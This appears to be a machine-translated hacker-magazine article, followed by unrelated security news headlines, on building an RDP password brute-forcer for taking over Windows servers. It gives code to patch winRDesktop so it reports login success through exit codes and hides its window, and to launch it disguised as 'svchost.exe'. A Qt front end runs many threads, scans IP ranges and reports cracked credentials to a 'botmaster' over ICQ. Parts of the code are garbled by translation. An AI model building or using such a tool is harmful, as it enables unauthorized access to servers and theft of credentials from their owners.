Брут Дедиков по-новому свіжий підхід до програмування rdp-брутфорсеровs

У наші дні тільки ледачий не пробував Брут Дедик - благо, тулз для цієї справи написано предостатньо. Найбільш відомі tss-brute від metal і ActiveX-based Брутфорс, початок еволюції яких поклали ми з Dizz'ом в минулому році. Всі інші Брутфорс базуються на цих двох - будучи фронт-ендами tss-brute (RDP Brute by Dizz) або клонами мого R # 038; D P Brute. В цьому році я знайшов новий спосіб викрадення серверів на Windows. Хочеш дізнатися, як - читай далі!

існуючі рішення

Здавалося б, все добре - сила-силенна Брутфорс, вибирай-не хочу, але всі вони не позбавлені недоліків.

Розбір польотів

com на winRDesktop - порт rdesktop'a на Windows, у вигляді проекту для MS Visual Studio. Це було саме те, що мені потрібно, і я взявся за перетворення нешкідливою Софтинка в забійний брутфорс. Для початку нам необхідно визначитися, як саме буде виглядати наша прога. Розглянувши безліч варіантів, я зупинився на одному - брутфорс складається з двох частин:

  1. Модифікований winrdesktop, якому передаються логін, пароль і IP сервера. Він намагається залогінитися і повертає результат.
  2. GUI - фронт-енд, який керує всім цим добром: вводить многопоточность, дозволяє сканувати діапазони IP, забезпечує роботу ICQ-бота. GUI буде написаний на C ++ з фреймворком Qt.

Напевно, у тебе виникло питання з приводу бота - а як же ми реалізуємо його, якщо реально робочі компоненти для ICQ є тільки під Delphi / BCB? Відкрию невеликий секрет - існує Qt-клас QOSCAR для роботи з ICQ (написаний, до речі кажучи, мною), і знаходиться він на qoscar.googlecode.com. У цій статті не розглядається написання бота, там все гранично просто, і ти (я сподіваюся) в змозі розібратися з цим питанням сам. Все, ліричний відступ в сторону, починаємо кодіть!

Developers, developers, developers!

Як же працює розпізнавання? Дуже просто - прийшов клієнту пакет побайтово порівнюється з деякими сигнатурами, і на підставі цих сигнатур робиться висновок про успіх / невдачу при підборі пароля. Наприклад, #define LOGON_AUTH_FAILED »\ xfe \ x00 \ x00» означає, що пароль був введений неправильно. Решта константи ти можеш підглядати в коді на диску. Значення констант має бути зрозуміло з назви.

Якщо немає, то навіщо ти це читаєш? 🙂

Далі ми патчим процидурку process_text2 () з файлу orders.c. У ній-то і відбувається розпізнавання результату введення пароля. Хоча, насправді, не тільки в ній - найчастіше при успішному логін сервер надсилає пакет з повідомленням про це - PDU_LOGON.

Шматок process_text2 ()
if (! memcmp (os-> text, LOGON_AUTH_FAILED, 3))
ExitProcess (2);
if ((! memcmp (os-> text, LOGON_MESSAGE_FAILED_XP, 18)) || (! memcmp (os-> text, LOGON_MESSAGE_FAILED_2K3, 18)))
ExitProcess (3);

Цей код потрібно вставляти в самому початку процедури. Поясню його дію.

рrocess_text2 () обробляє пакет, в якому приходить текст від сервера (що очевидно з його назви), в ньому ми порівнюємо отриманий текст з деякими заздалегідь відомими послідовностями при logon'e. Останній крок - відкриваємо rdp.c і шукаємо процедуру process_ data_pdu (). У ній нас цікавить шматок коду, що починається з «case RDP_DATA_PDU_LOGON:». Просто вставляємо ExitProcess (4) після неї. Навіщо нам потрібен ExitProcess () - читай далі.

Так, з коригуванням winRdesktop'a ми з тобою розібралися. Якщо ти думаєш, що найскладніше позаду - ти глибоко помиляєшся. Найскладніше ще попереду.

Перша проблема, з якою мені довелося зіткнутися - це поява вікна програми при запуску. Нам воно не потрібне, тому сміливо робимо ShowWindow з параметром SW_HIDE.

Друга проблема - як же Брутфорс спілкуватися із зовнішнім світом, як він буде повідомляти нам про результат перевірки? Printf () та інше не працюють, в файл писати - це не круто. Найбільш простий і в той же час надійний метод - завершувати додаток з різними ExitCode'амі.

Наприклад, ExitProcess (4) буде викликатися при правильному паролі, ExitProcess (2) - при неправильному, а ExitProcess (3) - при невдалій спробі підключення. Сказано - зроблено (результат ти можеш побачити в process_text2 () на врізки). Третя проблема, її мені так і не вдалося вирішити - нефігово споживання ресурсів. Забігаючи вперед, скажу, що 30 потоків вантажать на 100% процесор мого MSI Wind u90. Пов'язано це з розпакуванням бітмепов (RDP-сервер сильно стискає картинки). Я вирізав все (на мій погляд) непотрібні шматки коду з розпакуванням і малюванням на формі (навіщо малювати на формі, якщо ми її не бачимо?), Що дозволило трохи знизити ресурсопотребленіе, але проблему це все одно не вирішило. Якщо ти - крутий кодер на С, і тобі вдасться знизити апетит Розпакувальник, не забудь повідомити мені про це :).

Четверта, і остання, проблема - відсутність будь-яких символів, крім англійського алфавіту і цифр. Навчити брутфорс розуміти кирилицю мені так і не вдалося, хоча, може бути, воно й на краще - Брут російські сервера не варто :).

Брута - гуй!

В принципі, брутфорс вже готовий, але він однопотоковий - так само, як і брут від metal'a. Можна, звичайно, писати батники для запуску Брута, але ми ж круті хакери, ми хочемо Брут Дедиков десятками в день, і тому вихід у нас один - написання фронт-енду.

Як інструмент я вибрав ... ні, не модний нині C #, а свій улюблений (і набагато більш перспективний, на мій погляд) Qt Framework. В] [вже не раз писали про нього, тому не бачу сенсу описувати всі його достоїнства. Далі я маю на увазі, що ти вже вмієш працювати з цим фреймворком. Якщо немає - раджу почитати офіційну документацію Qt на qt.nokia.com і в обов'язковому порядку - книгу Саммерфілд і Бланшет (працівники Qt Software, один з них як раз займається документацією, так що книжка шикарна).

Запускаємо Qt Creator (раджу використовувати snapshot'и - вони не більше глючний, ніж stable-версії, але більш зручні, і містять всі прийдешні нововведення). Отже, створюємо новий GUI-проект з одним віджетом. Дизайн - особиста справа кожного, на скріншоті ти можеш побачити те. що вийшло у мене.

Для початку - накидаємо невеликий план.

1. Головний потік запускає допоміжний потік.

2. Допоміжний потік запускає .exe-шник, який ми написали раніше, і чекає результату.

3. Коли виконання брутфорса закінчується, потік випускає сигнал, який обробляється головним потоком, бере такі логін і пароль, і переходить до кроку 2.

Для допоміжних потоків я написав клас BruteThread, який, по суті, не є потоком, оскільки не успадковується від QThread, але використовує тільки асинхронні методи для виконання дій, що займають тривалий час. BruteThread займається запуском нашого модифікованого winRDesktop'a за допомогою об'єкта process класу QProcess. Клас QProcess створений для запуску зовнішніх програм, і може запускати додаток, направляти його висновок в консоль (те, що виводиться через printf або cout, наприклад), відслідковувати зміну стану і завершення процесу. Нас цікавлять тільки запуск і завершення програми - якщо відбувається одне з цих подій, випускаються сигнали void started () і void finished (int exitCode) відповідно. Зверни увагу на останній сигнал - в ньому в якості параметра передається код, з яким додаток було завершено - і цей параметр нам дуже сильно стане в нагоді.
Обробляти ми будемо тільки другий сигнал, і код слота ти можеш побачити на урізанні «Сигнал onFinished ()».

У ньому потік випускає відповідні сигнали, і переходить до наступної комбінації логін; пароль. Сам запуск процесу виглядає ось так:

Запуск процесу Брута

QStringList slArgs;
slArgs <<"-u" < <<"-p" < < process.start ( «svchost.exe», slArgs);
iCurrentPassword ++;

Як бачиш, аргументи процесу передаються в QStringList, що дуже зручно :).

Ну і, звичайно ж, не забудь в конструкторі класу відразу приєднати сигнал до слоту:

QObject :: connect (process, SIGNAL (finished (int)),
this, SLOT (onFinished (int)));

Ось так виглядає слот головного потоку, який обробляє результати:

Обробляємо результати в головному потоці

if (iResult == 0)
iGood ++;
iChecked ++;
writeResult (QString ( "% 1:% 2;% 3"). arg (sServer
) .arg (sUser) .arg (sPassword), "good.txt");
oscar.sendMessage (settings.botMaster (),
QString ( "% 1:% 2;% 3"). Arg (sServer) .arg (sUser)
.arg (sPassword));
if (trayIcon.isVisible ())
trayIcon.showMessage ( "Good",
QString ( "% 1:% 2;% 3"). Arg (sServer) .arg (
sUser) .arg (sPassword));
>
else
if (iResult == -1)
iBad ++;
iChecked ++;
>

От і все! Решту ти повинен доробити сам, а якщо не зможеш - сміливо дивися в мої вихідні на диску. Тільки не сподівайся, що зможеш відкрити проект, поміняти назви кнопочок і заробити на Хаммер, продаючи новий брут - в ньому є кілька елементарних прийомів, і, якщо ти скрипт-кідді, то скомпіліть проект у тебе не вийде. Ну, а якщо вмієш хоча б базово працювати з С, то, я думаю, проблем воно тобі не принесе :).

До даного рішення я прийшов після масової перекомпіляції мого R # 038; DP Brute, після викладання його початкових кодів, школотой (не плутати зі школярами!), Які при найменших проблемах здійснювали дії сексуального характеру з моїм мозком ( «А у мене не та версія mstscax .dll, що робити ?? »,« А що значить ShowMessage (). »). Один з індивідуумів, до речі, сам зізнався, що brain.dll і hands.lib у нього відсутні (спасибі sslBot за лог, поржал від душі). Ну, да ми відволіклися.

Разом у нас залишилися невирішеними дві проблеми, усунення яких я доручаю тобі:

  1. Споживання ресурсів.
  2. Підтримка кирилиці (чисто спортивний інтерес, ще раз повторюю - НЕ Брут російські сервера).

На цьому дозволь попрощатися. Вдалого кодинга!

Сигнал onFinished ()

if (exitCode> 666)
emit onServerResult (sServer,
slLogins.at (iCurrentLogin),
slPasswords.at (iCurrentPassword-1),
exitCode);
emit onDoneServer (this);
return;
>
switch (exitCode)
case 666: // Помилка
emit onDoneServer (this);
return;
case 0: // Фіг знає
emit onServerResult (sServer,
slLogins.at (iCurrentLogin),
slPasswords.at (iCurrentPassword-1),
true);
if (bSkipZero)
emit onDoneServer (this);
return;
>
break;
case 4: // Гуд!
emit onServerResult (sServer,
slLogins.at (iCurrentLogin),
slPasswords.at (iCurrentPassword-1),
0);
emit onDoneServer (this);
return;
case 5: // Теж Гуд
emit onServerResult (sServer,
slLogins.at (iCurrentLogin),
slPasswords.at (iCurrentPassword-1),
0);
emit onDoneServer (this);
return;
default: // Бед
emit onServerResult (sServer,
slLogins.at (iCurrentLogin),
slPasswords.at (iCurrentPassword-1),
-1);
break;
>
nextPassword ();

Подяки

Хотілося б подякувати наступних людей за допомогу, надану при написанні Брута:

  • metal aka DeX - за допомогу з C / C ++, та й взагалі прекрасна людина, допомагав завжди!
  • .fry - За допомогу з протоколом OSCAR,
  • Мемберов forum.asechka.ru - за тестування і підтримку.
  • xo0x.art, vitalikis,
  • Максима Sundagy Бліненкова - за С / C ++,
  • Варвару «Miracle» Ячменева - за моральну підтримку :),
  • Ну і, звичайно ж, своїх батьків :).

Більше 500 шахрайських сайтів пропонують купити iPhone X

Відразу кілька багів виявлені в новій iOS 11.1 в ході змагання Pwn2Own

Через пошукову видачу Google, за допомогою «чорного» SEO, поширюється Банкер Zeus Panda

Драйвери компанії Savitech поставляються разом з кореневими сертифікатами

Заарештовано хакер, який заявляв про злом співробітника компанії FireEye